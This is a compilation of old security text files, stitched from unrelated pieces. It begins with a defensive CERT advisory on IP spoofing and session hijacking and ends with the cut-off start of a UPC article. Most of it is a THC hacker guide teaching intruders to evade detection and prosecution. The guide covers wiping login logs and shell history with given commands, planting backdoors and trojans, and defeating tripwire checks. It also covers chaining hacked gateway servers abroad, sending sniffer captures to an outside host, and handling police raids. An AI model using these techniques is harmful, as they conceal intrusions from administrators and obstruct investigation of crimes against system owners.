Spoofing Attacks and Hijacked Terminal Connections ----------------------------------------------------------------------------The CERT Coordination Center has received reports of attacks in which intruders create packets with spoofed source IP addresses. These attacks exploit applications that use authentication based on IP addresses. This exploitation leads to user and possibly root access on the targeted system. Note that this attack does not involve source routing. Recommended solutions are described in Section III below. In the current attack pattern, intruders may dynamically modify the kernel of a Sun 4.1.X system once root access is attained. In this attack, which is separate from the IP spoofing attack, intruders use a tool to take control of any open terminal or login session from users on the system. Note that although the tool is currently being used primarily on SunOS 4.1.x systems, the system features that make this attack possible are not unique to SunOS. As we receive additional information relating to this advisory, we will place it, along with any clarifications, in a CA-95:01.README file. CERT advisories and their associated README files are available by anonymous FTP from info.cert.org. We encourage you to check the README files regularly for updates on advisories that relate to your site. ----------------------------------------------------------------------------I. Description This description summarizes both the IP spoofing technique that can lead to root access on a system and the tool that intruders are using to take over open terminal and login connections after they get root access. We are currently seeing attacks in which intruders combine IP spoofing with use of the tool. However, these are two separate actions. Intruders can use IP spoofing to gain root access for any purpose; similarly, they can highjack terminal connections regardless of their method of gaining root access. IP spoofing To gain access, intruders create packets with spoofed source IP addresses. This exploits applications that use authentication based on IP addresses and leads to unauthorized user and possibly root access on the targeted system. It is possible to route packets through filtering-router firewalls if they are not configured to filter incoming packets whose source address is in the local domain. It is important to note that the described attack is possible even if no reply packets can reach the attacker. Examples of configurations that are potentially vulnerable include - routers to external networks that support multiple internal interfaces - routers with two interfaces that support subnetting on the internal network - proxy firewalls where the proxy applications use the source IP address for authentication The IP spoofing attacks we are currently seeing are similar to those described in two papers: 1) "Security Problems in the TCP/IP Protocol Suite" by Steve Bellovin, published in _Computer Communication Review_ vol. 19, no. 2 (April 1989) pages 32-48; 2) "A Weakness in the 4.2BSD Unix TCP/IP Software" by Robert T. Morris. Both papers are available by anonymous FTP from ftp.research.att.com:/dist/internet_security Bellovin paper: ipext.ps.Z Morris paper: 117.ps.Z Services that are vulnerable to the IP spoofing attack include SunRPC & NFS BSD UNIX "r" commands anything wrapped by the tcp daemon wrappers - site dependent; check your configuration X windows other applications that use source IP addresses for authentication Hijacking tool Once the intruders have root access on a system, they can use a tool to dynamically modify the UNIX kernel. This modification allows them to hijack existing terminal and login connections from any user on the system. In taking over the existing connections, intruders can bypass one-time passwords and other strong authentication schemes by tapping the connection after the authentication is complete. For example, a legitimate user connects to a remote site through a login or terminal session; the intruder hijacks the connection after the user has completed the authentication to the remote location; the remote site is now compromised. (See Section I for examples of vulnerable configurations.) Currently, the tool is used primarily on SunOS 4.1.x systems. However, the system features that make this attack possible are not unique to SunOS. II. Impact Current intruder activity in spoofing source IP addresses can lead to unauthorized remote root access to systems behind a filtering-router firewall. After gaining root access and taking over existing terminal and login connections, intruders can gain access to remote hosts. III. Solutions A. Detection IP spoofing If you monitor packets using network-monitoring software such as netlog, look for a packet on your external interface that has both its source and destination IP addresses in your local domain. If you find one, you are currently under attack. Netlog is available by anonymous FTP from net.tamu.edu:/pub/security/TAMU/netlog-1.2.tar.gz MD5 checksum: 1dd62e7e96192456e8c75047c38e994b Another way to detect IP spoofing is to compare the process accounting logs between systems on your internal network. If the IP spoofing attack has succeeded on one of your systems, you may get a log entry on the victim machine showing a remote access; on the apparent source machine, there will be no corresponding entry for initiating that remote access. Hijacking tool When the intruder attaches to an existing terminal or login connection, users may detect unusual activity, such as commands appearing on their terminal that they did not type or a blank window that will no longer respond to their commands. Encourage your users to inform you of any such activity. In addition, pay particular attention to connections that have been idle for a long time. Once the attack is completed, it is difficult to detect. However, the intruders may leave remnants of their tools. For example, you may find a kernel streams module designed to tap into existing TCP connections. B. Prevention IP spoofing The best method of preventing the IP spoofing problem is to install a filtering router that restricts the input to your external interface (known as an input filter) by not allowing a packet through if it has a source address from your internal network. In addition, you should filter outgoing packets that have a source address different from your internal network in order to prevent a source IP spoofing attack originating from your site. The following vendors have reported support for this feature: Bay Networks/Wellfleet routers, version 5 and later Cabletron - LAN Secure Cisco - RIS software all releases of version 9.21 and later Livingston - all versions If you need more information about your router or about firewalls, please contact your vendor directly. If your vendor's router does not support filtering on the inbound side of the interface or if there will be a delay in incorporating the feature into your system, you may filter the spoofed IP packets by using a second router between your external interface and your outside connection. Configure this router to block, on the outgoing interface connected to your original router, all packets that have a source address in your internal network. For this purpose, you can use a filtering router or a UNIX system with two interfaces that supports packet filtering. NOTE: Disabling source routing at the router does not protect you from this attack, but it is still good security practice to do so. Hijacking tool There is no specific way to prevent use of the tool other than preventing intruders from gaining root access in the first place. If you have experienced a root compromise, see Section C for general instructions on how to recover. C. Recovery from a UNIX root compromise 1. Disconnect from the network or operate the system in single-user mode during the recovery. This will keep users and intruders from accessing the system. 2. Verify system binaries and configuration files against the vendor's media (do not rely on timestamp information to provide an indication of modification). Do not trust any verification tool such as cmp(1) located on the compromised system as it, too, may have been modified by the intruder. In addition, do not trust the results of the standard UNIX sum(1) program as we have seen intruders modify system files in such a way that the checksums remain the same. Replace any modified files from the vendor's media, not from backups. -- or -Reload your system from the vendor's media. 3. Search the system for new or modified setuid root files. find / -user root -perm -4000 -print If you are using NFS or AFS file systems, use ncheck to search the local file systems. ncheck -s /dev/sd0a 4. Change the password on all accounts. 5. Don't trust your backups for reloading any file used by root. You do not want to re-introduce files altered by an intruder. --------------------------------------------------------------------------- The CERT Coordination Center thanks Eric Allman, Steve Bellovin, Keith Bostic, Bill Cheswick, Mike Karels, and Tsutomu Shimomura for contributing to our understanding of these problems and their solutions. --------------------------------------------------------------------------If you believe that your system has been compromised, contact the CERT Coordination Center or your representative in Forum of Incident Response and Security Teams (FIRST). If you wish to send sensitive incident or vulnerability information to CERT staff by electronic mail, we strongly advise that the e-mail be encrypted. The CERT Coordination Center can support a shared DES key, PGP (public key available via anonymous FTP on info.cert.org), or PEM (contact CERT staff for details). Internet E-mail: cert@cert.org Telephone: +1 412-268-7090 (24-hour hotline) CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4), and are on call for emergencies during other hours. Fax: +1 412-268-6989 CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh, PA 15213-3890 USA Past advisories, CERT bulletins, information about FIRST representatives, and other information related to computer security are available for anonymous FTP from info.cert.org. CERT is a service mark of Carnegie Mellon University. Author: van Hauser / THC I.INTRODUCTION II.MENTAL III.BASICS IV.ADVANCED V.UNDER SUSPECT VI.CAUGHT VII.PROGRAMS VIII.LAST WORDS I. INTRODUCTION Please excuse my poor english - I'm german so it's not my mother language I'm writing in. Anyway if your english is far better than mine, then don't think this text hasn't got anything to offer you. In contrast. Ignore the spelling errors & syntax - the contents of this document is important ... NOTE : This text is splitted into TWO parts. The first one, this, teaches about the background and theory. The second just shows the basics by an easy step-by-step procedure what to type and what to avoid. If you are too lazy to read this whole stuff here (sucker!) then read that one. It's main targets are novice unix hackers. If you think, getting the newest exploits fast is the most important thing you must think about and keep your eyes on - you are wrong. How does the best exploit helps you once the police has seized your computer, all your accounts closed and everything monitored? Not to mention the warrants etc. No, the most important thing is not to get caught. It is the FIRST thing every hacker should learn, because on many occasions, especially if you make your first hacks at a site which is security conscious because of many break-ins, your first hack can be your last one (even if all that lays back a year ago "they" may come up with that!), or you are too lazy to change your habits later in your career. So read through these sections carefully! Even a very skilled hacker can learn a bit or byte here. So this is what you find here: Section I - you are reading me, the introduction Section II - the mental things and how to become paranoid 1. Motivation 2. Why you must become paranoid 3. How to become paranoid 4. Stay paranoid Section III - the basics you should know BEFORE begin hacking 1. Preface 2. Secure Yourself 3. Your own account 4. The logs 5. Don't leave a trace 6. Things you should avoid Section IV - the advanced techniques you should take a notice of 1. Preface 2. Prevent Tracing of any kind 3. Find and manipulate any log files 4. Check the syslog configuration and logfile 5. Check for installed security programs 6. Check the admins 7. How to "correct" checksum checking software 8. User Security Tricks 9. Miscellaneous Section V - what to do once you are under suspect Section VI - the does and dont's when you got caught Section VII - a short listing of the best programs for hiding Section VIII - last words, the common bullshit writers wanna say Read carefully and enlighten yourself. II. MENTAL CONTENTS: 1. Motivation 2. Why you must become paranoid 3. How to become paranoid 4. Stay paranoid 1. MOTIVATION The mental aspect is the key to be successful in anything. It's the power to motivate yourself, fight on if it hurts, being self disciplined, paranoid & realistic, calculate risks correctly and do stuff you don't like but are important even if you'd like to go swimming now. If you can't motivate yourself to program important tools, wait for the crucial time to hit the target, then you'll never get anywhere with your "hacks" A successful and good hacker must meet these mental requirements. It's like doing bodybuilding or a diet - you can learn it if you really try. EVEN THE BEST KNOWLEDGE WON'T HELP YOU UNTIL YOU ARE REALLY CONCERNED TO DO THE PREVENTIONS AND ACTUAL MAKE THEM ! 2. WHY YOU MUST BECOME PARANOID It's right that normally being paranoid is not something which makes your life happier. However if you aren't expecting the worst, anything can hit you and throw you off balance. And you are risking very much with your doings. In your normal life you don't need to worry much about cops, thieves and therelike. But if you are on the other side remember that you make other people a hard life and bring them nightmares plus work - and they want to stop you. Even if you don't feel like committing a crime - you actually do. HackerWitchhunting pops up fast and gets everyone who might be involved. It's the sad thing : YOU ARE GUILTY UNTIL PROVEN OTHERWISE ! Once you've got the stigma being a hacker you'll never get it off. Once having an entry in your police record it's very hard to find a job. Especially no software company, even no computer related company will ever hire you, they will be afraid of your skills, and you will see yourself being forced to emmigrate or your life lost. Once you fall down only a few can get up again. Become paranoid! Protect yourself! Remember you have got everything to loose! Never feel silly doing THAT extraordinary action against tracing! Never bother if someone laughs on your paranoid doing! Never be too lazy or tired to modify the logs! A hacker must do his work 100% ! 3. HOW TO BECOME PARANOID If you've read the part above and you think thats true, it's easy - you've got already become paranoid. But it must become a substantial part of your life. If you made it becoming a good hacker always think about whom to tell what, and that you phone calls and emails might be monitored. Always reread the section above. If the above didn't helped you, then think about what happens if you are caught. Would your girlfriend stay at your side? Even if her father speaks a hard word? Do you want to see your parents cry? Thrown from your school/university/job? Don't give this a chance to happen! If even this is not enough to motivate you: KEEP AWAY FROM HACKING! You are a danger to the whole hacking society and your friends ! 4. STAY PARANOID I hope you learned now why it is important to become paranoid. So stay paranoid. One mistake or lazy moment could suffice to ruin your life or career. Always maintain motivation to do it. III. BASICS CONTENTS: 1. Preface 2. Secure Yourself 3. Your own account 4. The logs 5. Don't leave a trace 6. Things you should avoid 1. PREFACE You should know this and practice it before you start your first hack. These are the absolute basics, without them you are in trouble soon. Even an experienced hacker can find a new hint/info in here. 2. SECURE YOURSELF What if a SysAdmin reads your email? What if your phone calls are recorded by the police? What if the police seizes your computer with all your hacking data on it? If you don't receive suspicious email, don't talk about hacking/phreaking on the phone and haven't got sensitive/private files on your harddisk then you don't need to worry. But then again you aren't a hacker. Every hacker or phreaker must keep in touch with others and have got his data saved somewhere. Crypt every data which is sensitive! Online-Harddisk-Crypter are very important and useful: There are good harddisk crypters free available an the internet, which behave fully transparent to your operating systems, i.e. the packages listed below are tested and were found to be a hacker's first-choice: •If you use MsDos get SFS v1.17 or SecureDrive 1.4b •If you use Amiga get EnigmaII v1.5 •If you use Unix get CFS v1.33 File Crypters: You can use any, but it should use one of the well known and secure algorythms. NEVER use a crypting program which can be exported because their effective keylengths are reduced! •Triple DES •IDEA •Blowfish (32 rounds) Encrypt your emails! •PGP v2.6.x is used most so use it too. Encrypt your phonecalls if you want to discuss important things. •Nautilus v1.5a is so far the best Encrypt your terminal sessions when connected to a unix system. Someone might be sniffing, or monitoring your phone line. •SSH is the so far most secure •DES-Login is fine too Use strong passwords, non-guessable passwords which are not mentioned in any dictionary. They should seem random but good to remember for yourself. If the keylength is allowed to be longer than 10 chars, use that, and choose a sentence from a book, slightly modified. Please crypt phonenumbers of hacker friends twice. And call them from payphones/officephones/etc. only, if you don't encrypt the conversation. The beginner only needs PGP, a filecrypter and an online-hardisk-crypter. If you are really deep into hacking remember to encrypt everything. Make a backup of your data (Zip-Drive, other harddisk, CD, Tape), crypted of course, and store it somewhere which doesn't belong to any computer related guy or family member and doesn't belong to your house. So if a defect, fire or fed raid occures you got a backup of your data. Keep written notices only as long as you really need them. Not longer. Keeping them in an encrypted file or on an encrypted partition is much more secure. Burn the papers once you don't need them anymore. You can also write them down with a crypt algorythm which only you know of, but don't tell others and don't use it too often or it can be easily analyzed and broken. Really hardcore or ultra paranoid hackers should consider too the TEMPEST Project. Cops, spies and hackers could monitor all your doings. A well equipted man could have anything he wants : Electronic pulse emanation can be catched from more than 100 meters away and show your monitor screen to somebody else, a laserpoint to your window to hear private conversations, or identifying hifrequency signals of keyboard clicks ... so possiblities are endless Lowcost prevention can be done by electronic pulse jammers and therelike which become available on the public market, but I don't think this is secure enough to keep anyone dedicated away. 3. YOUR OWN ACCOUNT So let's talk about your own account. This is your real account you got at your school/university/job/provider and is associated with your name. Never forget to fail these rules: Never do any illegal or suspicious things with your real accounts! Never even try to telnet to a hacked host! Security mailing lists are okay to read with this account. But everything which seems to have to do with hacking must be either encrypted or be deleted as once. Never leave/save hacking/security tools on your account's harddisk. If you can, use POP3 to connect to the mailserver and get+delete your email (or do it in an other way if you are experienced enough using unix) Never give out your real email if your realname is in your .plan file and/or geco field (remember the EXPN command from sendmail ...) Give it only to guys who you can trust and are also security conscious, because if they are caught you may follow (or if it's a fed, not a hacker) Exchange emails with other hackers only if they are encrypted (PGP) SysAdmins OFTEN snoop user directories and read other's email! Or another hacker might hack your site and try to get your stuff! Never use your account in a way which shows interest in hacking. Interest in security is okay but nothing more. 4. THE LOGS There are 3 important log files: WTMP - every log on/off, with login/logout time plus tty and host UTMP - who is online at the moment LASTLOG - where did the logins come from There exist others, but those will be discussed in the advanced section. Every login via telnet, ftp, rlogin and on some systems rsh are written to these logs. It is VERY important that you delete yourself from those logfiles if you are hacking because otherwise they a) can see when did you do the hacking exactly b) from which site you came c) how long you were online and can calculate the impact NEVER DELETE THE LOGS! It's the easiest way to show the admin that a hacker was on the machine. Get a good program to modify the logs. ZAP (or ZAP2) is often mentioned as the best - but in fact it isn't. All it does is overwriting the last login-data of the user with zeros. CERT already released simple programs which check for those zero'ed entries. So thats an easy way to reveil the hacker to the admin too. He'll know someone hacked root access and then all you work was worthless. Another important thing about zap is that it don't report if it can't find the log files - so check the paths first before compiling! Get either a program which CHANGES the data (like CLOAK2) or a really good one which DELETES the entries (like CLEAR). Normally you must be root to modify the logs (except for old distributions which have got utmp and wtmp world-writable). But what if you didn't made it hacking root - what can you do? Not very much : Do a rlogin to the computer you are on, to add a new unsuspicous LASTLOG data which will be displayed to the owner when he logs on next time. So he won't get suspicious if he sees "localhost". Many unix distributions got a bug with the login command. When you execute it again after you logged already on, it overwrites the login-from field in the UTMP (which shows the host you are coming from!) with your current tty. Where are these log files by default located? That depends on the unix distribution. UTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log WTMP : /etc or /var/adm or /usr/adm or /usr/var/adm or /var/log LASTLOG : /usr/var/adm or /usr/adm or /var/adm or /var/log on some old unix dists the lastlog data is written into $HOME/.lastlog 5. DON'T LEAVE A TRACE I encountered many hackers who deleted themselves from the logs. But they forgot to erase other things they left on the machines : Files in /tmp and $HOME Shell History It should be another as you current login account uses. Some shells leave a history file (depends on enviroment configuration) with all the commands typed. Thats very bad for a hacker. The best choice is to start a new shell as your first command after logging in, and checking every time for a history file in you $HOME. History files : sh:.sh_historycsh:.historyksh:.sh_historybash:.bash_historyzsh:.his tory Backup Files : dead.letter, *.bak, *~ In other words: do an "ls -altr" before you leave! Here're 4 csh commands which will delete the .history when you log out, without any trace. mv .logout save.1 echo rm .history>.logout echo rm .logout>>.logout echo mv save.1 .logout>>.logout 6. THINGS YOU SHOULD AVOID Don't crack passwords on an other machine than your own, and then only on a crypted partition. If you crack them on a e.g. university and the root sees your process and examines it not only your hacking account is history but also the site from which the password file is and the university will keep all eyes open to watch out for you. Download/grab the passwd data and crack them on a second computer or in a background process. You don't need many cracked accounts, only a few. If you run important programs like ypx, iss, satan or exploiting programs then rename them before executing or use the small common source to exchange the executed filename in the process list ... ever security conscious user (and of course admin) knows what's going on if he sees 5 ypx programs running in the background ... And of course if possible don't enter parameters on the command line if the program supports an interactive mode, like telnet. Type "telnet" and then "open target.host.com" ... which won't show the target host in the process list as parameter. If you hacked a system - don't put a suid shell somewhere! Better try to install some backdoors like ping, quota or login and use fix to correct the atime and mtime of the file if you don't have got another possiblity. IV. ADVANCED CONTENTS: 1. Preface 2. Prevent Tracing of any kind 3. Find and manipulate any log files 4. Check the syslog configuration and logfile 5. Check for installed security programs 6. Check the admins 7. How to "correct" checksum checking software 8. User Security Tricks 9. Miscellaneous 1. PREFACE Once you installed your first sniffer and begin to hack worldwide then you should know and use these checks & techniques! Use the tips presented here - otherwise your activity will be over soon. 2. PREVENT TRACING OF ANY KIND Sometimes your hacking will be noticed. Thats not a real problem - some of your sites will be down but who cares, there are enough out there to overtake. The very dangerous thing is when they try to trace you back to your origin - to deal with you - bust you! This short chapter will tell you every possiblity THEY have to trace you and what possibilities YOU have to prevent that. 1. Normally it should be no problem for the Admin to identify the system the hacker is coming from by either: •checking the log entries; if the hacker was really lame, •taking a look at the sniffer output the hacker installed and he's in too, •any other audit software like loginlog, •or even show all estrablished connections with "netstat" if the hacker is currently online - expect that they'll find out! Thats why you need a gateway server. 2. A gateway server in between - what is it? Thats one of many many servers you have accounts on, which are absolutely boring systems and you have got root access on. You need the root access to alter the wtmp and lastlog files plus maybe some audit logs do nothing else on these machines! You should change the gateway servers on a regular basis, say every 1-2 weeks, and don't use them again for at least a month. With this behaviour it's unlikely that they will trace you back to your next point of origin : the hacking server. 3. Your Hacking Server - basis of all activity From these server you do begin hacking. Telnet (or better : remsh/rsh) to a gateway machine and then to the target. You need again root access to change the logs. You should change your hacking server every 2-4 weeks. 4. Your Bastian/Dialup server. This is the critical point. Once they can trace you back to your dialup machine you are already fried. A call to the police, a line trace and your computer hacking activity is history and maybe the rest of your future too. You *don't* need root access on a bastion host. Since you only connect to it via modem there are no logs which must be changed. You should use a different account to log on the system every day, and try to use those which are seldom used. Don't modify the system in any way! You should've got at least 2 bastion host systems you can dialup to and switch between them every 1-2 month. Note: If you have got the possiblity to dialup different systems every day (f.e. due blueboxing) then do so. you don't need a hacking server then. 5. Do bluebox/card your call or use an outdial or any other way. So even when they capture back your bastion host, they can't trace you (easily) ... For blueboxing you must be cautious, because germany and the phone companies in the USA do have surveillance systems to detect blueboxers ... At&t traces fake cred card users etc. Using a system in between to transfer your call does on the one side make tracine more difficult - but also exposes you to the rish being caught for using a pbx etc. It's up to you. Note too that in f.e. Denmark all - ALL - calling data is saved! Even 10 years after your call they can prove that *you* logged on the dialup system which was used by a hacker ... 6.Miscellaneous If you want to run satan, iss, ypx, nfs filehandle guessing etc. then use a special server for this. don't use it to actually telnet/rlogin etc. to a target system, only use it for scanning. Connect to it as if it were a gateway server. Tools are out there which binds to a specific port, and when a connection is established to this port, it's automatically opening a connection to another server some other just act like a shell on the system, so you do a "telnet" from this socket daemon too. With such a program running you won't be written in any log except firewall logs. There are numerous programs out there which do that stuff for you. If possible, the hacking server and/or the gateway machine should be located in a foreign country! Because if your breakin (attempt) was detected and your origin host identified then most admins will tend to give up to hunt after you. Even if the feds try to trace you through different countries it will delay them by at least 2-10 weeks ... CONCLUSION: If you hack other stuff than univerisities then do it this way! Here is a small picture to help you ;-) +-------+ ~---------------> +-------------+ +-----------+ |+-----+| >hopefully > || YOU || --> >a trace-safe |+-----+| | > --> |least 3 >dial possiblity> +-------+ |one of at |one of many| | --> |hacking |bastion hosts| ~---------------> | |server | +-------------+ +-----------+ | | v +-----------------+ +--------+ |maybe additional | | the |server from | +-----------+ |one hacked | | ... <-- ... | main | <-- |server as | |internal network | | target | |gateway | +-----------------+ +--------+ +-----------+ 3. FIND AND MANIPULATE ANY LOG FILES It's important that you find all logfiles - even the hidden ones. To find any kind of logfiles there are two easy possibilities: •Find all open files. Since all logfiles must write somewhere, get the cute program LSOF LiSt Open Files - to see them ... check them ... and if necessary correct them. •Search for all files changed after your login. After your login do a "touch /tmp/check" then work on. Later just do a "find / -newer /tmp/check -print" and check them if any of those are audit files. see>check>correct. Note that not all versions of find support the -newer option You can also do a "find / -ctime 0 -print" or "find / -cmin 0 -print" to find them. Check all logfiles you find. Normally they are in /usr/adm, /var/adm or /var/log. If things are logged to @loghost then you are in trouble. You need to hack the loghost machine to modify the logs there too ... To manipulate the logs you can either do things like "grep -v", or do a linecount with wc, and then cut off the last 10 lines with "head -LineNumbersMinus10", or use an editor etc. If the log/audit files are not textfiles but datarecords ... identify the software which writes the logfiles. Then get the sourcecode. Then find the matching header file which defines the structure of the file. Get zap, clear, cloak etc. and rewrite it with the header file to use with this special kind of logfile (and it would be kind to publish your new program to the hacker society to safe others much work) If accouting is installed then you can use the acct-cleaner from zhart, also in this release - it works and is great! A small gimmick if you must modify wtmp but can't compile a source and no perl etc. is installed (worked on SCO but not on linux) : Do a uuencode of wtmp. Run vi, scroll down to the end of the file, and and delete the last 4 (!) lines beginning with "M" ... then save+exit, uudecode. Then the last 5 wtmp entries are deleted ;-) If the system uses wtmpx and utmpx as well you are in trouble ... I don't know any cleaner so far who can handle them. Program one and make it available for the scene. 4. CHECK THE SYSLOG CONFIGURATION AND LOG Most programs use the syslog function to log anything they want. It's important to check the configuration where syslog does print special types. The config file is /etc/syslog.conf - and I won't tell you here what the format is and what each entry means. Read the manpages about it. Important for you are kern.*, auth.* and authpriv.* types. Look where they are written too: files can be modified. If forwarded to other hosts you must hack those too. If messages are sent to a user, tty and/or console you can do a small trick and generate false log messages like "echo 17:04 12-05-85 kernel sendmail[243]: can't resolve bla.bla.com > /dev/console" or whichever device you want to flood so that the message you want to hide simply scrolls over the screen. These log files are very important! Check them. 5. CHECK FOR INSTALLED SECURITY PROGRAMS On most security conscious sites, there are security checkers run by cron. The normal directory for the crontabs are /var/spool/cron/crontabs. Check out all entries, especially the "root" file and examine the files they run. For just a fast investigation of the crontabs of root type "crontab -l root". Some of those security tools are most time also installed on the admins' accounts. Some of them (small utils to check wtmp, and if a sniffer is installed) are in their ~/bin. Read below to identify those admins and check their directories. Internal checking software can be tiger, cops, spi, tripwire, l5, binaudit, hobgoblin, s3 etc. You must examine them what they report and if they would report something that would be a sign of your breakin. If yes you can •update the data files of the checker (learn mode) so that it won't report that type anymore •reprogram/modify the software so that they don't report it anymore. (I love fake cpm programs ;-) •if possible remove the e.g. backdoor you installed and try to do it in another way. 6. CHECK THE ADMINS It is important for you to check the sysops for the security counter-measures they do - so first you need to know which normal accounts are they use. You can check the .forward file of root and the alias entry of root. Take a look into the sulog and note those people who did a successful su to root. Grab the group file and examine the wheel and admin group (and whatever other group are in this file which are related to administration). Also grep'ing the passwd file for "admin" will reveile the administrators. Now you should know who the 1-6 administrators on the machines are. Change into their directories (use chid.c, changeid.c or similar to become the user if root is not allowed to read every file) and check their .history/.sh_history/.bash_history to see what commands they type usually. Check their .profile/.login/.bash_profile files to see what aliases are set and if auto-security checks or logging are done. Examine their ~/bin directory! Most times compiled security checking programs are put there! And of course take a look into each directory they've got beside that (ls -alR ~/). If you find any security related stuff, read 5.) for possibilities to bypass those protections. 7. HOW TO "CORRECT" CHECKSUM CHECKING SOFTWARE Some admins really fear hacker and install software to detect changes of their valuable binaries. If one binary is tampered with, next time the admin does a binary check, it's detected. So how can you a.find out if such binary checkers are installed and b.how to modify them so you can plant in your trojan horse? Note that there are many binary checker out there and it's really easy to write one - takes only 15 minutes - and can be done with a small script. So it's hard to find such software if it's installed. Note that internal security checking software sometimes also support such checking. Here are some widely used ones : SOFTWARE STANDARD PATHBINARY FILENAMES: tripwire/usr/adm/tcheck /usr/local/adm/tcheckdatabases /usr/local/adm/audit But as you can see there are too much possibilities! The software or database could even be on an normally unmounted disk or NFS exported partition of another host. Or the checksum database is on a write protected medium. There are too much possibilities. But normally you can just do the fast check if the above packages are installed and if not go on exchanging binaries. If you don't find them but it actually is a very well secured site then you should NOT tamper with the binaries! They sure have got them hidden very well. But what do you do when you find that software installed and you can modify them (e.g. not a write protected medium, or something that can be bypasswd - for example unmounting the disk and remounting writable)? You've got 2 possibilities : •First you can just check the parameters of the software and run an "update" on the modified binary. For example for tripwire that's "tripwire -update /bin/target". •Seconds you can modify the filelist of the binaries being checked removing the entry of the replaced one. Note that you should also check if the database file itself is checked too for changes! If yes update/delete the entry as well. 8. USER SECURITY TRICKS This is a rare thing and is only for sake of completeness. Some users, named admins and hackers, usually don't want their own accounts to be used by someone else. That's why they sometimes put some security features into their startup files. So check all dotfiles (.profile, .cshrc, .login, .logout etc.) what commands they execute, what history logging and which searchpath they set. If f.e. $HOME/bin comes before /bin in the search path you should check the contents of this directory ... maybe there's a program called "ls" or "w" installed which logs the execution time and after that executing the real program. Other check automatically the wtmp and lastlog files for zap usage, manipulation of .rhosts, .Xauthority files, active sniffers etc. Never mess with an account a unix wizard is using! 9. MISCELLANEOUS Finally, before some last words about being under suspect or caught, here are some miscellaneous things which a worth to take a notice off. Old telnet clients do export the USER variable. An administrator who knows that and modified the telnetd can get all user names with that and so identify the account you are hacking from, once he notices you. The new clients have been fixed - but a clever admin has got other possiblities to identify the user : the UID, MAIL and HOME variables are still exported and makes identifying of the account used by the hacker easy. Before you do a telnet, change the USER, UID, MAIL and HOME variable, maybe even the PWD variable if you are in the home directory. On HP-UX < v10 you can make hidden directories. I'm not talking about . (dot) files or similar but a special flag. HP introduced it v9, but was removed from version 10 (because it was only used by hackers ;-). If you do a "chmod +H directory" it's invisible for the "ls -al". To see the hidden directories you need to add the -H switch to ls, e.g. "ls -alH" to see everything. Whenever you are in need to change the date of a file, remember that you can use the "touch" command to set the atime and mtime. You can set the ctime only by raw writes to the harddisk ... If you install sniffer and it's an important system, then make sure that you either obfusicate the sniffer output (with an encryption algorythm [and i'm not talking about rot13] or let the sniffer send all the captured data via icmp or udp to an external host under your control. Why that? If the admin finds somehow the sniffer (cpm and other software checking for sniffers) they can't identify in the logfile what data was sniffed, so he can't warn hosts sniffed by you. V. UNDER SUSPECT Once you are under suspect (by either police and/or administrator) you should take special actions so they won't get evidence on you. NOTE : If the administrators think you are a hacker, YOU ARE GUILTY UNTIL PROVEN INNOCENT The laws means nothing to the admins (sometimes I think the difference between a hacker and an administrator is only that the computer belongs to them). When they think you are a hacker you are guilty, without a lawyer to speak for you. They'll monitor you, your mails, files, and, if they are good enough, your keystrokes as well. When the feds are involved, you phone line might be monitored too, and a raid might come soon. If you notice or fear that you are under suspect then keep absolutely low profile! No offensive action which points to hacking should be done. Best thing is to wait at least 1-2 month and do nothing. Warn your friends not to send you any email, public normal only, non-offensive mail is wonderful, put pgp encrypted emails will ring the alarm bells of monitoring admins and feds. Cut down with everything, write some texts or program tools for the scene and wait until things have settled. Remember to encrypt all your sensitive data and remove all papers with account data, phone numbers etc. Thats the most important stuff the feds are looking for when they raid you. VI. CAUGHT Note that this small chapter covers only the ethics and basics and hasn't got any references to current laws - because they are different for every country. Now we talking about the stuff you should/shouldn't do once the feds visited you. There are two very important things you have to do: 1. GET A LAWYER IMMEDEATELY! The lawyer should phone the judge and appeal against the search warrant. This doesn't help much but may hinder them in their work. The lawyer should tell you everything you need to know what the feds are allowed to do and what not. The lawyer should write a letter to the district attorney and/or police to request the computers back as fast as possible because they are urgently needed to do business etc. As you can see it is very useful to have got a lawyer already by hand instead of searching for one after the raid. 2. NEVER TALK TO THE COPS! The feds can't promise you anything. If they tell you, you'll get away if you talk, don't trust them! Only the district attorney has got the power to do this. The cops just want to get all information possible. So if you tell them anything they'll have got more information from and against you. You should always refuse to give evidence - tell them that you will only talk with them via your lawyer. Then you should make a plan with your lawyer how to get you out of this shit and reduce the damage. But please keep in mind : don't betray your friends. Don't tell them any secrets. Don't blow up the scene. If you do, that's a boomerang : the guys & scene will be very angry and do revenge, and those guys who'll be caught because of your evidence will also talk ... and give the cops more information about your crimes! Note also that once you are caught you get blamed for everything which happened on that site. If you (or your lawyer) can show them that they don't have got evidences against you for all those cases they might have trouble to keep the picture of that "evil hacker" they'll try to paint about you at the court. If you can even prove that you couldn't do some of the crimes they accuse you for then your chances are even better. When the judge sees that false accuses are made he'll suspect that there could be more false ones and will become distrusted against the bad prepared charges against you. I get often asked if the feds/judge can force you to give up your passwords for PGP, encrypted files and/or harddisks. That's different for every country. Check out if they could force you to open your locked safe. If that's the case you should hide the fact that you are crypting your data! Talk with your lawyer if it's better for you to stand against the direction to give out the password - maybe they'd get evidences which could you get into jail for many years. (For german guys : THC-MAG #4 will have got an article about the german law, as far as it concerns hacking and phreaking - that article will be of course checked by a lawyer to be correct. Note that #4 will only discuss germany and hence will be in the german language. But non-germans, keep ya head up, this will be the first and last german only magazine release ;-) VII. PROGRAMS Here is a small list of programs you should get and use (the best!). DON'T email me where to get them from - ask around in the scene! I only present here the best log modifiers (see III-4 and IV-3). Other programs which are for interest are telnet redirectors (see IV-2) but there are so many, and most compile only on 1-3 unix types so there's no use to make a list. First a small glossary of terms: Change - changes fields of the logfile to anything you want. Delete - deletes, cuts out the entries you want. Edit real editor for the logfile. Overwrite - just overwrites the entries with zero-value bytes. (Don't use overwriters (zap) - they can be detected!) LOG MODIFIERS: ah-1_0b.tar Changes the entries of accounting informationclear.c Deletes entries in utmp, wtmp, lastlog and wtmp xcloak2.c Changes the entries in utmp, wtmp and lastlog invisible.c Overwrites utmp, wtmp and lastlog with predefines values, so it's better than zap. Watch out, there are numerous inv*.c !marryv11.c Edit utmp, wtmp, lastlog and accounting data - best! wzap.c Deletes entries in wtmp wtmped.c Deletes entries in wtmp zap.c Overwrites utmp, wtmp, lastlog - Don't use! Can be detected! VIII. LAST WORDS Last fucking words: Don't get caught, remember these tips and keep your ears dry. If someone would like to correct some points, or would like to add a comment, or needs more information on a topic or even thinks something's missing - then drop me a note. Cracking the Universal Product Code by Count Nibble --------------Everyone encounters the UPC nowadays. You know, 